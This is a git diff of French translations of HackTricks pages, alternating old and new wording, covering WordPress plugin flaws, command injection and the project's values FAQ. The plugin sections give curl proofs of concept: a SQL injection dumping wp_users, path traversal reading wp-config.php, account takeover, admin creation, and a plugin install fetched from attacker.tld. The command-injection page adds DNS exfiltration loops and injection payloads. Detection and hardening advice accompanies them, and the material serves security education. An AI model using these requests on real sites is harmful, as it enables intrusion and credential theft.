3. **Accessibilité sans authentification** bien que l'action soit exécutée via `admin-post.php`, la seule vérification en place est un **CSRF nonce** (`wp_verify_nonce()`), que n'importe quel visiteur peut récupérer depuis une page publique incorporant le shortcode `[wpjobportal_my_resumes]`.
1. **Unsanitised user input** `parentid` provient directement de la requête HTTP.
2. **String concatenation inside the WHERE clause** pas d'`is_numeric()` / `esc_sql()` / requête préparée.
3. **Unauthenticated reachability** bien que l'action soit exécutée via `admin-post.php`, la seule vérification en place est un **CSRF nonce** (`wp_verify_nonce()`), que n'importe quel visiteur peut récupérer depuis une page publique incorporant le shortcode `[wpjobportal_my_resumes]`.
#### Exploitation
@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant une SQLi.
La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant la présence d'une SQLi.
### Téléchargement arbitraire de fichiers sans authentification / Path Traversal (WP Job Portal <= 2.3.2)
Une autre tâche, **downloadcustomfile**, permettait aux visiteurs de télécharger **n'importe quel fichier sur le disque** via un path traversal. La sink vulnérable se trouve dans `modules/customfield/model.php::downloadCustomUploadedFile()`:
Une autre tâche, **downloadcustomfile**, permettait aux visiteurs de télécharger **n'importe quel fichier sur le disque** via path traversal. Le sink vulnérable est situé dans `modules/customfield/model.php::downloadCustomUploadedFile()` :
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` est contrôlé par l'attaquant et concaténé **sans sanitisation**. Encore une fois, la seule barrière est un **CSRF nonce** qui peut être récupéré depuis la page du CV.
`$file_name` est contrôlé par l'attaquant et concaténé **sans assainissement**. Encore une fois, la seule protection est un **CSRF nonce** qui peut être récupéré depuis la resume page.
#### Exploitation
```bash
@ -652,11 +652,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
```
Le serveur renvoie le contenu de `wp-config.php`, leaking DB credentials and auth keys.
## Prise de contrôle de compte sans authentification via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
De nombreux themes/plugins intègrent des helpers de "social login" exposés via admin-ajax.php. Si une action AJAX non authentifiée (wp_ajax_nopriv_...) accorde sa confiance à des identifiants fournis par le client lorsque les données du provider sont absentes, puis appelle wp_set_auth_cookie(), cela devient un contournement total de l'authentification.
De nombreux thèmes/plugins fournissent des helpers de "social login" exposés via admin-ajax.php. Si une action AJAX non authentifiée (wp_ajax_nopriv_...) fait confiance à des identifiants fournis par le client lorsque les données du provider sont absentes, puis appelle wp_set_auth_cookie(), cela devient un full authentication bypass.
Typical flawed pattern (simplified)
Schéma défaillant typique (simplifié)
```php
public function check_login() {
// ... request parsing ...
@ -687,15 +687,15 @@ wp_send_json(['status' => 'not_user']);
```
Pourquoi c'est exploitable
- Accès non authentifié via admin-ajax.php (wp_ajax_nopriv_… action).
- Absence de vérifications nonce/capability avant un changement d'état.
- Accessible sans authentification via admin-ajax.php (wp_ajax_nopriv_… action).
- Aucune vérification nonce/capability avant toute modification d'état.
- Absence de vérification du provider OAuth/OpenID ; la branche par défaut accepte l'entrée de l'attaquant.
- get_user_by('email', $_POST['id']) suivi de wp_set_auth_cookie($uid) authentifie le requérant comme n'importe quelle adresse email existante.
- get_user_by('email', $_POST['id']) suivi de wp_set_auth_cookie($uid) authentifie le requérant comme n'importe quelle adresse e-mail existante.
Exploitation (unauthenticated)
Exploitation (sans authentification)
- Prérequis : attacker peut atteindre /wp-admin/admin-ajax.php et connaît/devine un email d'utilisateur valide.
- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
- Prérequis : l'attaquant peut atteindre /wp-admin/admin-ajax.php et connaît/devine une adresse e-mail d'utilisateur valide.
- Définir provider sur une valeur non supportée (ou l'omettre) pour atteindre la branche par défaut et transmettre id=<victim_email>.
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
@ -710,29 +710,29 @@ curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
```
Expected success indicators
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
- HTTP 200 avec un corps JSON comme {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* pour l'utilisateur victime ; les requêtes suivantes sont authentifiées.
Finding the action name
- Inspecter le thème/plugin pour les enregistrements add_action('wp_ajax_nopriv_...', '...') dans le code de social login (par ex. framework/add-ons/social-login/class-social-login.php).
- Grep pour wp_set_auth_cookie(), get_user_by('email', ...) dans les gestionnaires AJAX.
- Inspecter le thème/plugin pour des enregistrements add_action('wp_ajax_nopriv_...', '...') dans le code de social login (par ex., framework/add-ons/social-login/class-social-login.php).
- Grep pour wp_set_auth_cookie(), get_user_by('email', ...) dans les handlers AJAX.
Detection checklist
- Web logs montrant des POST non authentifiés vers /wp-admin/admin-ajax.php avec l'action social-login et id=<email>.
- Réponses 200 contenant le JSON de succès immédiatement avant du trafic authentifié depuis la même IP/User-Agent.
- Réponses 200 avec le JSON de succès précédant immédiatement du trafic authentifié provenant de la même IP/User-Agent.
Hardening
- Ne pas dériver l'identité à partir d'entrées client. N'accepter que les emails/IDs provenant d'un token/ID fournisseur validé.
- Ne pas dériver l'identité à partir des données client. N'accepter que des emails/IDs provenant d'un token/ID fournisseur validé.
- Exiger des nonces CSRF et des vérifications de capability même pour les helpers de login ; éviter d'enregistrer wp_ajax_nopriv_ sauf si strictement nécessaire.
- Valider et vérifier côté serveur les réponses OAuth/OIDC ; rejeter les providers manquants/invalides (pas de fallback sur POST id).
- Envisager de désactiver temporairement la connexion sociale ou de patcher virtuellement en périphérie (bloquer l'action vulnérable) jusqu'à correction.
- Valider et vérifier les réponses OAuth/OIDC côté serveur ; rejeter les providers manquants/invalide (pas de fallback sur POST id).
- Envisager de désactiver temporairement le social login ou de corriger virtuellement au niveau du périmètre (bloquer l'action vulnérable) jusqu'à correction.
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
- Retiré le fallback non sécurisé de $_POST['id'] ; $user_email doit provenir des branches fournisseur vérifiées dans switch($_POST['using']).
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
@ -757,53 +757,53 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
```
Pourquoi c'est exploitable
- Route REST sensible protégée uniquement par une preuve d'identité à faible entropie (username) ou permission_callback manquant
- Pas d'application des capabilities ; la clé mintée est acceptée comme un contournement universel
- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
- No capability enforcement; minted key is accepted as a universal bypass
Detection checklist
- Grep dans le code du plugin pour register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Toute route qui émet des tokens/keys basés sur une identité fournie par la requête (username/email) sans la lier à un utilisateur authentifié ou à une capability
- Chercher des routes ultérieures qui acceptent le token/la key générée sans vérifications de capability côté serveur
- Grep le code du plugin pour register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Toute route qui émet des tokens/keys basés sur une identité fournie dans la requête (username/email) sans la lier à un utilisateur authentifié ou à une capability
- Rechercher les routes ultérieures qui acceptent le token/key créé sans vérifications de capability côté serveur
Hardening
- Pour toute route REST privilégiée : exiger un permission_callback qui applique current_user_can() pour la capability requise
- Ne pas générer de clés à longue durée de vie à partir d'une identité fournie par le client ; si nécessaire, émettre des tokens à courte durée de vie liés à l'utilisateur après authentification et re-vérifier les capabilities à l'utilisation
Durcissement
- Pour toute REST route privilégiée : exiger un permission_callback qui applique current_user_can() pour la capability requise
- Ne pas générer de clés à longue durée de vie à partir d'une identité fournie par le client ; si nécessaire, émettre des tokens de courte durée, liés à l'utilisateur après authentification, et revérifier les capabilities lors de l'utilisation
- Valider le contexte utilisateur de l'appelant (wp_set_current_user ne suffit pas seul) et rejeter les requêtes où !is_user_logged_in() || !current_user_can(<cap>)
---
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces prevent CSRF, not authorization. Si le code considère qu'un Nonce valide suffit et saute ensuite les vérifications de capability pour des opérations privilégiées (par ex., install/activate plugins), des attaquants non authentifiés peuvent satisfaire une exigence de Nonce faible et atteindre RCE en installant un plugin backdooré ou vulnérable.
Nonces prevent CSRF, not authorization. Si le code considère le passage d'un nonce comme un feu vert puis saute les vérifications de capability pour des opérations privilégiées (p.ex., install/activate plugins), des attaquants non authentifiés peuvent satisfaire une exigence de nonce faible et atteindre le RCE en installant un plugin backdoored ou vulnérable.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
PoC (la forme dépend du plugin ; à titre illustratif seulement)
```bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
```
Detection checklist
- REST/AJAX handlers qui modifient des plugins/themes en se basant uniquement sur wp_verify_nonce()/check_admin_referer() et sans capability check
- Tout chemin de code qui définit $skip_caps = true après la validation du nonce
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- Traitez toujours les nonces uniquement comme des tokens CSRF ; appliquez des vérifications de capability indépendamment de l'état du nonce
- Exiger current_user_can('install_plugins') et current_user_can('activate_plugins') avant d'atteindre le code d'installer
- Refuser l'accès non authentifié ; éviter d'exposer des actions AJAX nopriv pour des flux privilégiés
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
---
## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
## SQLi non authentifié via le paramètre s (search) dans les actions depicter-* (Depicter Slider ≤ 3.6.1)
Plusieurs actions depicter-* consommaient le paramètre s (search) et le concatenaient dans des requêtes SQL sans utiliser de requêtes préparées.
Plusieurs actions depicter-* consommaient le paramètre s (search) et l'ont concaténé dans des requêtes SQL sans paramétrisation.
- Parameter: s (search)
- Flaw: concaténation directe de chaînes dans les clauses WHERE/LIKE ; pas de requêtes préparées ni de nettoyage/validation des entrées
- Impact: exfiltration de la base de données (utilisateurs, hashs), mouvement latéral
- Paramètre : s (search)
- Faille : concaténation directe de chaînes dans les clauses WHERE/LIKE ; pas de requêtes préparées ni d'assainissement
- Impact : exfiltration de la base de données (utilisateurs, hashes), lateral movement
PoC
```bash
@ -813,37 +813,37 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
```
Checklist de détection
- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
- Vérifier les requêtes personnalisées passées à $wpdb->get_results()/query() concaténant s
- Grep pour depicter-* action handlers et l'utilisation directe de $_GET['s'] ou $_POST['s'] dans des requêtes SQL
- Revoir les requêtes personnalisées passées à $wpdb->get_results()/query() concaténant s
Durcissement
- Utiliser toujours $wpdb->prepare() or wpdb placeholders ; rejeter les métacaractères inattendus côté serveur
- Ajouter une allowlist stricte pour s et normaliser vers le charset/longueur attendus
- Utiliser toujours $wpdb->prepare() ou les placeholders de wpdb ; rejeter côté serveur les métacaractères inattendus
- Ajouter une allowlist stricte pour s et normaliser vers le jeu de caractères/longueur attendus
---
## Local File Inclusion non authentifiée via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Accepter des chemins contrôlés par un attaquant dans un paramètre de template sans normalisation/confinement permet de lire des fichiers locaux arbitraires, et parfois l'exécution de code si des fichiers PHP/log incluables sont chargés à l'exécution.
Accepter des chemins contrôlés par l'attaquant dans un paramètre template sans normalisation/confinement permet de lire des fichiers locaux arbitraires, et parfois d'exécuter du code si des fichiers PHP/log inclusibles sont chargés au runtime.
- Paramètre : __kubio-site-edit-iframe-classic-template
- Faiblesse : pas de normalisation/allowlist ; traversal autorisé
- Impact : divulgation de secrets (wp-config.php), RCE potentiel dans certains environnements (log poisoning, PHP incluable)
- Paramètre: __kubio-site-edit-iframe-classic-template
- Flaw: pas de normalisation/allowlisting ; traversal permis
- Impact: divulgation de secrets (wp-config.php), RCE potentiel dans certains environnements (log poisoning, includable PHP)
PoC lire wp-config.php
```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
```
Detection checklist
- Tout handler concaténant des chemins de requête dans des sinks include()/require()/read sans contrôle via realpath()
- Rechercher des traversal patterns (../) s'étendant en dehors du répertoire templates prévu
Liste de contrôle de détection
- Tout handler concaténant des chemins de requête dans des sinks include()/require()/read sans confinement via realpath()
- Recherchez des traversal patterns (../) atteignant en dehors du répertoire de templates prévu
Hardening
- Imposer des templates allowlisted ; résoudre avec realpath() et exiger str_starts_with(realpath(file), realpath(allowed_base))
- Normaliser les entrées ; rejeter les traversal sequences et les chemins absolus ; utiliser sanitize_file_name() uniquement pour les noms de fichier (pas pour les chemins complets)
Durcissement
- Imposer des templates autorisés ; résoudre via realpath() et exiger str_starts_with(realpath(file), realpath(allowed_base))
- Normaliser les données d'entrée ; rejeter les séquences de traversal et les chemins absolus ; n'utiliser sanitize_file_name() que pour les noms de fichiers (pas les chemins complets)
## References
## Références
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)

View File

@ -4,11 +4,11 @@
## Qu'est-ce que command Injection ?
Une **command injection** permet à un attaquant d'exécuter des commandes arbitraires du système d'exploitation sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou de prendre le contrôle de l'environnement de l'application et du système sous-jacent.
Une **command injection** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou de prendre le contrôle de l'environnement de l'application et du système sous-jacent.
### Contexte
Selon **l'endroit où votre entrée est injectée** vous devrez peut-être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes.
Selon **l'endroit où votre input est injecté** vous pouvez avoir besoin de **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes.
## Command Injection/Execution
```bash
@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **Limitation** Bypasses
Si vous essayez d'exécuter **arbitrary commands inside a linux machine** vous serez intéressé par ces **Bypasses :**
Si vous essayez d'exécuter **commandes arbitraires à l'intérieur d'une machine linux**, vous serez intéressé à lire ces **Bypasses :**
{{#ref}}
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Paramètres
Voici les 25 principaux paramètres qui pourraient être vulnérables à des attaques de code injection et à des vulnérabilités RCE similaires (d'après [link](https://twitter.com/trbughunters/status/1283133356922884096)):
Voici les 25 principaux paramètres qui pourraient être vulnérables à code injection et à des vulnérabilités RCE similaires (d'après [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -75,9 +75,9 @@ Voici les 25 principaux paramètres qui pourraient être vulnérables à des att
?run={payload}
?print={payload}
```
### Time based data exfiltration
### Exfiltration de données basée sur le temps
Extraction de données : caractère par caractère
Extraction des données : caractère par caractère
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -91,7 +91,7 @@ sys 0m0.000s
```
### DNS based data exfiltration
Basé sur l'outil disponible sur `https://github.com/HoLyVieR/dnsbin`, également hébergé sur dnsbin.zhack.ca
Basé sur l'outil `https://github.com/HoLyVieR/dnsbin`, également hébergé sur dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Outils en ligne pour vérifier DNS-based data exfiltration:
Outils en ligne pour vérifier DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile`
Lors d'un audit d'applications back-end JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js `child_process`.
Lors de l'audit de back-ends JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js `child_process`.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -132,7 +132,7 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
```
`exec()` lance un **shell** (`/bin/sh -c`), donc tout caractère ayant une signification spéciale pour le shell (back-ticks, `;`, `&&`, `|`, `$()`, …) entraînera une **command injection** lorsque l'entrée utilisateur est concaténée dans la chaîne.
**Atténuation :** utilisez `execFile()` (ou `spawn()` sans l'option `shell`) et fournissez **chaque argument comme un élément distinct du tableau** afin qu'aucun shell ne soit impliqué :
**Atténuation :** utilisez `execFile()` (ou `spawn()` sans l'option `shell`) et fournissez **chaque argument comme un élément séparé du tableau** afin qu'aucun shell ne soit impliqué :
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -142,23 +142,23 @@ execFile('/usr/bin/do-something', [
```
Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
### Injection d'argument/option via un tiret initial (argv, sans métacaractères du shell)
Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
Toutes les injections ne nécessitent pas de métacaractères du shell. Si l'application passe des chaînes non fiables comme arguments à un utilitaire système (même avec `execve`/`execFile` et sans shell), beaucoup de programmes vont quand même parser tout argument commençant par `-` ou `--` comme une option. Cela permet à un attaquant de changer de mode, modifier des chemins de sortie ou déclencher des comportements dangereux sans jamais passer par un shell.
Typical places where this appears:
Endroits typiques où cela apparaît :
- Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
- UIs web embarquées/handlers CGI qui construisent des commandes comme `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
- Routeurs CGI centralisés (p.ex. `/cgi-bin/<something>.cgi` avec un paramètre sélecteur comme `topicurl=<handler>`) où plusieurs handlers réutilisent le même validateur faible.
What to try:
Ce qu'il faut essayer :
- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool.
- Abuse flags that change behavior or write files, for example:
- `ping`: `-f`/`-c 100000` pour surcharger l'appareil (DoS)
- `curl`: `-o /tmp/x` pour écrire sur des chemins arbitraires, `-K <url>` pour charger une config contrôlée par l'attaquant
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` pour obtenir une exécution post-rotation dans des wrappers non sécurisés
- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place.
- Fournir des valeurs qui commencent par `-`/`--` pour qu'elles soient consommées comme flags par l'outil en aval.
- Abuser des flags qui changent le comportement ou écrivent des fichiers, par exemple :
- `ping`: `-f`/`-c 100000` pour stresser l'appareil (DoS)
- `curl`: `-o /tmp/x` pour écrire des chemins arbitraires, `-K <url>` pour charger une config contrôlée par l'attaquant
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` pour obtenir une exécution post-rotation dans des wrappers non sécurisés
- Si le programme supporte la séparation d'options `--`, essayer de contourner des mitigations naïves qui préfixent `--` au mauvais endroit.
Generic PoC shapes against centralized CGI dispatchers:
```
@ -171,7 +171,7 @@ topicurl=<handler>&param=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
```
## Liste de détection Brute-Force
## Brute-Force Liste de détection
{{#ref}}

View File

@ -1,56 +1,56 @@
# Valeurs et FAQ HackTricks
# HackTricks: Valeurs & FAQ
{{#include ../banners/hacktricks-training.md}}
## Valeurs de HackTricks
> [!TIP]
> Voici les **valeurs du projet HackTricks** :
> Ce sont les **valeurs du projet HackTricks** :
>
> - Offrir un accès **GRATUIT** à des ressources **ÉDUCATIVES de hacking** à **l'ensemble d'Internet**.
> - Le hacking, c'est apprendre, et l'apprentissage devrait être aussi libre que possible.
> - Le but de ce livre est de servir de **ressource éducative** complète.
> - **CONSERVER** des techniques **hacking** géniales publiées par la communauté en donnant aux **AUTEURS ORIGINAUX** tous les **crédits**.
> - **Nous ne cherchons pas à récupérer la reconnaissance d'autres personnes**, nous voulons juste conserver des astuces sympas pour tout le monde.
> - Nous rédigeons aussi **nos propres recherches** dans HackTricks.
> - Dans plusieurs cas, nous écrirons seulement **sur HackTricks un résumé des parties importantes** de la technique et **encouragerons le lecteur à visiter le post original** pour plus de détails.
> - **ORGANISER** toutes les techniques de hacking dans le livre pour qu'elles soient **PLUS ACCESSIBLES**
> - Donner un accès **GRATUIT** à des ressources **EDUCATIONNELLES de hacking** à **TOUTE** la communauté Internet.
> - Le hacking consiste à apprendre, et l'apprentissage devrait être aussi libre que possible.
> - Le but de ce livre est de servir de ressource **éducative** complète.
> - **CONSERVER** des techniques de **hacking** géniales que la communauté publie en donnant aux **AUTEURS ORIGINAUX** tous les **crédits**.
> - **Nous ne cherchons pas à obtenir le crédit d'autres personnes**, nous voulons juste conserver des astuces sympas pour tout le monde.
> - Nous écrivons aussi **nos propres recherches** dans HackTricks.
> - Dans plusieurs cas nous écrirons simplement **dans HackTricks un résumé des parties importantes** de la technique et **encouragerons le lecteur à visiter l'article original** pour plus de détails.
> - **ORGANISER** toutes les techniques de hacking dans le livre afin qu'elles soient **PLUS ACCESSIBLES**
> - L'équipe HackTricks a consacré des milliers d'heures gratuitement **uniquement pour organiser le contenu** afin que les gens puissent **apprendre plus vite**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## FAQ HackTricks
## FAQ de HackTricks
> [!TIP]
>
> - **Merci beaucoup pour ces ressources, comment puis-je vous remercier ?**
> - **Thank you so much for these resources, how can I thank you?**
Vous pouvez remercier publiquement les équipes HackTricks pour avoir rassemblé toutes ces ressources en publiant un tweet mentionnant [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Si vous êtes particulièrement reconnaissant vous pouvez aussi [**sponsoriser le projet ici**](https://github.com/sponsors/carlospolop).\
Et n'oubliez pas de **donner une étoile aux projets GitHub !** (Trouvez les liens ci-dessous).
Et n'oubliez pas de **mettre une étoile aux projets Github !** (Trouvez les liens ci-dessous).
> [!TIP]
>
> - **Comment puis-je contribuer au projet ?**
> - **How can I contribute to the project?**
Vous pouvez **partager de nouveaux tips and tricks avec la communauté ou corriger des bugs** que vous trouvez dans les livres en envoyant un **Pull Request** vers les pages Github respectives :
Vous pouvez **partager de nouveaux tips and tricks avec la communauté ou corriger des bugs** que vous trouvez dans les livres en envoyant un **Pull Request** aux pages Github respectives :
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
N'oubliez pas de **donner une étoile aux projets GitHub !**
N'oubliez pas de **mettre une étoile aux projets Github !**
> [!TIP]
>
> - **Puis-je copier du contenu de HackTricks et le mettre sur mon blog ?**
> - **Can I copy some content from HackTricks and put it in my blog?**
Oui, vous pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifiques** d'où provient le contenu.
Oui, vous pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifique(s)** d'où provient le contenu.
> [!TIP]
>
> - **Comment puis-je référencer une page de HackTricks ?**
> - **How can I reference a page of HackTricks?**
Tant que le lien **de** la/les page(s) d'où vous avez pris l'information apparaît, c'est suffisant.\
Tant que le lien **de** la page(s) d'où vous avez pris l'information apparaît, c'est suffisant.\
Si vous avez besoin d'un bibtex, vous pouvez utiliser quelque chose comme :
```latex
@misc{hacktricks-bibtexing,
@ -62,47 +62,47 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
> - **Puis-je copier tout HackTricks sur mon blog ?**
> - **Puis-je copier tout le contenu de HackTricks sur mon blog ?**
**Je préférerais que non**. Ce n'est **au bénéfice de personne** puisque tout le **contenu est déjà disponible publiquement** dans les livres officiels HackTricks gratuitement.
**Je préférerais pas.** Cela **n'apportera rien à personne** car tout le **contenu est déjà disponible publiquement** dans les livres officiels HackTricks gratuitement.
Si vous craignez qu'il disparaisse, forkez-le sur Github ou téléchargez-le ; comme je l'ai dit, c'est déjà gratuit.
Si vous craignez qu'il disparaisse, forkez-le sur Github ou téléchargez-le, comme je l'ai dit c'est déjà gratuit.
> [!WARNING]
>
> - **Pourquoi avez-vous des sponsors ? Les livres HackTricks sont-ils à but commercial ?**
> - **Pourquoi avez-vous des sponsors ? Les livres HackTricks ont-ils des buts commerciaux ?**
La première **valeur** de HackTricks est d'offrir des ressources éducatives en hacking **GRATUITES** à **TOUT** le monde. L'équipe HackTricks a **dédié des milliers d'heures** pour fournir ce contenu, encore une fois, **GRATUITEMENT**.
La première **valeur** de **HackTricks** est d'offrir des ressources éducatives **FREE** en hacking à **TOUT** le monde. L'équipe HackTricks a **consacré des milliers d'heures** pour offrir ce contenu, encore une fois, **FREE**.
Si vous pensez que les livres HackTricks sont faits à des **fins commerciales**, vous avez **COMPLÈTEMENT TORT**.
Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Ainsi, nous proposons aux personnes la possibilité de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et permettons à **entreprises de cybersécurité pertinentes** de sponsoriser HackTricks et d'**afficher quelques publicités** dans le livre — les **publicités** sont toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas le processus d'apprentissage** si quelqu'un se concentre sur le contenu.
Nous avons des sponsors parce que, même si tout le contenu est FREE, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Par conséquent, nous proposons aux gens l'option de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et des **entreprises de cybersécurité pertinentes** peuvent sponsoriser HackTricks et avoir des **ads** dans le livre, ces **ads** étant toujours placées à des endroits où elles sont **visibles** mais **n'entravent pas** le processus d'apprentissage si quelqu'un se concentre sur le contenu.
Vous ne trouverez pas HackTricks rempli de publicités agaçantes comme d'autres blogs avec beaucoup moins de contenu que HackTricks, car HackTricks n'est pas conçu à des fins commerciales.
Vous ne trouverez pas HackTricks rempli d'ads agaçantes comme d'autres blogs avec bien moins de contenu que HackTricks, car HackTricks n'est pas fait à des fins commerciales.
> [!CAUTION]
>
> - **Que dois-je faire si une page HackTricks est basée sur mon article de blog mais n'est pas référencée ?**
> - **Que dois-je faire si une page HackTricks est basée sur un article de mon blog mais n'est pas référencée ?**
**Nous sommes vraiment désolés. Cela n'aurait pas dû arriver**. Veuillez nous le faire savoir via Github issues, Twitter, Discord... en nous fournissant le lien de la page HackTricks contenant le contenu et le lien de votre blog et **nous le vérifierons et l'ajouterons dès que possible**.
**Nous sommes vraiment désolés. Cela n'aurait pas dû arriver.** Merci de nous le signaler via Github issues, Twitter, Discord... en indiquant le lien de la page HackTricks contenant le contenu et le lien de votre blog et **nous vérifierons et ajouterons la référence ASAP**.
> [!CAUTION]
>
> - **Que dois-je faire s'il y a du contenu provenant de mon blog dans HackTricks et que je ne veux pas qu'il y soit ?**
> - **Que dois-je faire si du contenu de mon blog se retrouve dans HackTricks et que je ne veux pas qu'il y soit ?**
Notez que le fait d'avoir des liens vers votre page dans HackTricks :
- Améliore votre **SEO**
- Le contenu est **traduit en plus de 15 langues**, permettant à plus de personnes d'accéder à ce contenu
- **HackTricks encourage** les gens à **consulter votre page** (plusieurs personnes nous ont dit que depuis qu'une de leurs pages figure sur HackTricks, elles reçoivent plus de visites)
- **HackTricks encourage** les gens à **consulter votre page** (plusieurs personnes nous ont dit que depuis qu'une de leurs pages est sur HackTricks elles reçoivent plus de visites)
Cependant, si vous souhaitez toujours que le contenu de votre blog soit retiré de HackTricks, faites-le nous savoir et nous **supprimerons définitivement tous les liens vers votre blog**, ainsi que tout contenu basé dessus.
